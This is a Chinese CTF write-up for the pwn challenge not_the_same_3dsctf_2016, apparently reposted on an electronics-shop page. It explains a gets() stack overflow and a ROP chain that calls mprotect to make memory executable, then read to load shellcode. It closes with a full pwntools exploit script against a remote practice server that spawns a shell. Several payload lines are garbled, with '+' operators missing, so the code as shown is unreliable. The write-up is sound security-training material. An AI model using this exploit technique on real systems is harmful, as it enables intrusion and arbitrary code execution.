锐单电子商城 , 一站式电子元器件采购平台!
  • 电话:400-990-0325

pwn刷题记录之not_the_same_3dsctf_2016

时间:2023-03-13 07:00:00 hhg1s固体继电器

前言:这个话题有一个从未见过的姿势,写一篇来记录它

一、checksec看一下保护

开栈不能保护

二、main函数

发现了gets()函数存在栈溢出

三、get_secret函数

1)分析

我们发现 flag.txt存在的那个&unk...里面

然后fgets函数不能实现栈溢出,否则可以考虑栈溢出,然后使用write函数读取该区域

2)我们需要在这里使用我们的新姿势来搜索mprotect函数

这里补充一下ida的小操作,我们可以把鼠标放在左函数名列表上ctrl f可搜索函数名

3)mprotect()函数说明

在Linux中,mprotect()函数可用于修改指定内存区域的保护属性。

函数原型如下:

#include

#include

int mprotect(const void *start, size_t len, int prot);

mprotect()函数自我start开始的、长度为len内存区的保护属性修改为prot指定的值。

prot可以取以下值并使用|将几个属性结合起来:

1)PROT_READ:内存段内容可读;

2)PROT_WRITE:内存段内容可写;

3)PROT_EXEC:表示内存段内容可执行;

4)PROT_NONE:内存段中的内容根本无法访问。

需要指出的是,指定的内存范围必须包含整个内存页面(4K)。区间开始的地址start必须是内存页面的起始地址,间隔长度len必须是页面大小的整数倍。

如果执行成功,返回0;如果执行失败,返回-1并设置errno变量表明调用失败的具体原因是什么。错误的主要原因如下:

1)EACCES

内存不能设置为相应的权限。例如,如果你 mmap(2) 映射文件只读,然后使用 mprotect() 标志为 PROT_WRITE。

2)EINVAL

start 它不是一个有效的指针,而是指内存页面的开头。

3)ENOMEM

内核内部的结构体无法分配。

4)ENOMEM

该过程的地址空间在范围内 [start, start len] 范围内无效,或一个或多个内存页面无映射。

如果调用过程中的内存访问侵犯了这些设置的保护属性,内核就会产生过程 SIGSEGV (Segmentation fault,段错)信号,并终止过程。

简而言之,可以修改栈的执行权限

四、运用思路

ctrl s检查段表,修改.got.plt(0x080EB可读可写可执行

有人怀疑为什么0是0x80EB000而不是bss段的开头0x80EBF80,因为指定的内存范围必须包含整个内存页面(4K),起始地址 start 必须是内存页面的起始地址,间隔长度 len 必须是页面大小的整数倍。

通过ROPgadget找出我们需要的,因为mprotect我们需要三个参数,所以我们有三个pop一个ret的就好啦

我们在这里找到的地址是0x0806fcc8

payload =b'a'*0x2d p32(mprotect) p32(pop3_ret)

第一个是栈溢出,注意这里不用覆盖exp

并不是每个程序都有编译器或其他原因esp(虽然大部分都有)

提醒:不要直接做题F还是要看汇编

第二个是mprotect函数返回地址

第三个是我们找到的三个pop的地址

payload =p32(addr) p32(0x100) p32(0x7)

一是修改地址

第二个是修改长度

第三种修改为可读可写可执行,修改为0x7就好了

payload =p32(read) p32(pop3_ret)

第一个将返回地址修改为read函数返回地址

第二个是三个pop的地址

payload =p32(0) p32(addr) p32(len(shellcode)) p32(addr)

前三个是read函数的参数

第一个是read函数从哪里开始读取? 默认为0就好

二是执行地在哪里 用我们修改的地址

三是阅读的大小 大一点没关系,主要够我们写了。shellcode

最后一位将read函数的返回地址改为修改地址

最后完整wp

from pwn import *

p = remote("node4.buuoj.cn",26430)

elf = ELF('111')

read = elf.symbols['read']

mprotect = 0x0806ED40

addr = 0x080EB000

size1 = 0x7

size2 = 0x100

pop3_ret = 0x0806fcc8

shellcode = asm(shellcraft.sh())

#payload = b'a'*(0x2d)

#payload = p32(mpro_addr)

#payload = p32(target_addr)

payload =b'a'*0x2d p32(mprotect) p32(pop3_ret)

payload =p32(addr) p32(0x100) p32(0x7)

payload =p32(read) p32(pop3_ret

payload +=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr)

p.sendline(payload)

p.sendline(shellcode)

p.interactive()

这里解答一下为什么需要两个sendline,第二次的输入相当于给read函数输入,因为payload中构造的read函数还没有参数输入

参考博客

C语言之 mprotect - Max_hhg - 博客园

锐单商城拥有海量元器件数据手册IC替代型号,打造电子元器件IC百科大全!

相关文章